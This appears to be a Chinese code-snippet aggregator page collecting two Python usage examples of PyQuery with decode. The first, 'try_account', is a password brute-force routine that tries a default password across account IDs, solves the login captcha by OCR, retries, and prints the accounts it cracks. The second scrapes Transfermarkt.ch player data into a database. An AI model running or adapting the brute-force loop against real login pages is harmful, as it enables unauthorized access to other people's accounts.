本文整理汇总了Python中pyquery.PyQuery.decode方法的典型用法代码示例。如果您正苦于以下问题:Python PyQuery.decode方法的具体用法?Python PyQuery.decode怎么用?Python PyQuery.decode使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类pyquery.PyQuery
的用法示例。
在下文中一共展示了PyQuery.decode方法的2个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: try_account
# 需要导入模块: from pyquery import PyQuery [as 别名]
# 或者: from pyquery.PyQuery import decode [as 别名]
def try_account(id_list, default_pass):
"""
暴力破解帐号密码
:param id_list:帐号列表
:param default_pass:默认密码
:return:
"""
for id_item in id_list:
form_data['loginName'] = str(id_item) # 将用户名填入表单
form_data['password'] = default_pass # 将密码填入表单
code_img_name = get_code_img()
code_str = code_img_to_string(code_img_name)
form_data['verify'] = code_str # 验证码填入表单
result = login() # 登录,获取返回的 response 结果
print form_data
err_msg = Pq(result).find('.login_panel .ul_login li:eq(4) span').text()
print err_msg.decode('utf-8')
if err_msg == u'验证码错误':
# 获取验证码重新登录
code_img_name = get_code_img()
code_str = code_img_to_string(code_img_name)
form_data['verify'] = code_str
result = login()
if err_msg == u'用户名或者密码错误':
continue
if err_msg is None:
print '成功破解:' + str(id_item) + "\t" + result # 打印成功登录的帐号
示例2: import_team
# 需要导入模块: from pyquery import PyQuery [as 别名]
# 或者: from pyquery.PyQuery import decode [as 别名]
def import_team(rootpage, session, event):
"""Imports multiple Players a time from a external Site.
Currently only working with Transfermarkt.ch
"""
headers = {"User-agent": "Mozilla/5.0"}
for page in rootpage:
f = requests.get(page, headers=headers)
nationpage = f.content
nationpage = PyQuery(nationpage.decode("utf8"))
content = nationpage("#main")
nation_name = content(".box-header .spielername-profil").text()
country_code = COUNTRY_CODE_MAPPING[nation_name]
# Lookup nation
nation = session.query(Nation).filter(Nation.country == country_code).first()
# Create a new nation if we didn't find one
if nation is None:
nation = Nation(nation_name, event, country_code)
nation.country = country_code
session.add(nation)
playertable = content("table.items")
playerlist = playertable("tbody")
for item in playerlist("tbody > tr"):
name = PyQuery(item)(".hide-for-small a.spielprofil_tooltip").text()
link = PyQuery(item)(".hide-for-small a.spielprofil_tooltip").attr("href")
link = "http://www.transfermarkt.ch" + link
f = requests.get(link, headers=headers)
playerpage = f.content
playerpage = PyQuery(playerpage.decode("utf8"))
clubname = playerpage(".dataZusatzDaten .hauptpunkt .vereinprofil_tooltip").text()
league = playerpage(".dataZusatzDaten .mediumpunkt a").text()
data_items = playerpage(".dataContent p")
player_props = dict(
[
(k.text(), v.text())
for k, v in zip(data_items(".dataItem").items(), data_items(".dataValue").items())
]
)
img_src = playerpage(".dataBild img").attr("src")
img = requests.get(img_src, headers=headers).content
try:
im = Image.open(StringIO.StringIO(img))
im.verify()
except Exception:
img = None
# Conversions
position = POSITION_MAPPING.get(player_props.get("Position:"))
# Marktwert
value_data = playerpage(".dataMarktwert").text()
value = value_data.split()[0]
multiplier = MULTIPLIER_MAPPING.get(value_data.split()[1], 1)
if "," in value:
value = int(value.split(",")[0]) * multiplier + int(value.split(",")[1]) * multiplier * 0.01
else:
value = int(value) * multiplier
size = player_props.get(u"Gr\xf6\xdfe:", "0.00").replace(",", ".")
date_of_birth = date.fromtimestamp(
time.mktime(time.strptime(player_props.get("Geb./Alter:").split()[0], "%d.%m.%Y"))
)
# Lookup player
player = session.query(Player).filter(Player.name == name and Player.nation_id == nation.id_).first()
# Create a new player if we didn't find one.
if player is None:
player = Player(name, position, nation.id_, event)
session.add(player)
# Set/update player properties
player.original_name = player_props.get("Name im Heimatland:")
player.date_of_birth = date_of_birth
player.age = int(player_props.get("Geb./Alter:").split()[1].strip("()"))
# player.foot = player_props.get(u'Fu\xdf:')
player.value = value
player.size = size
player.club = clubname
player.league = league
player.image = img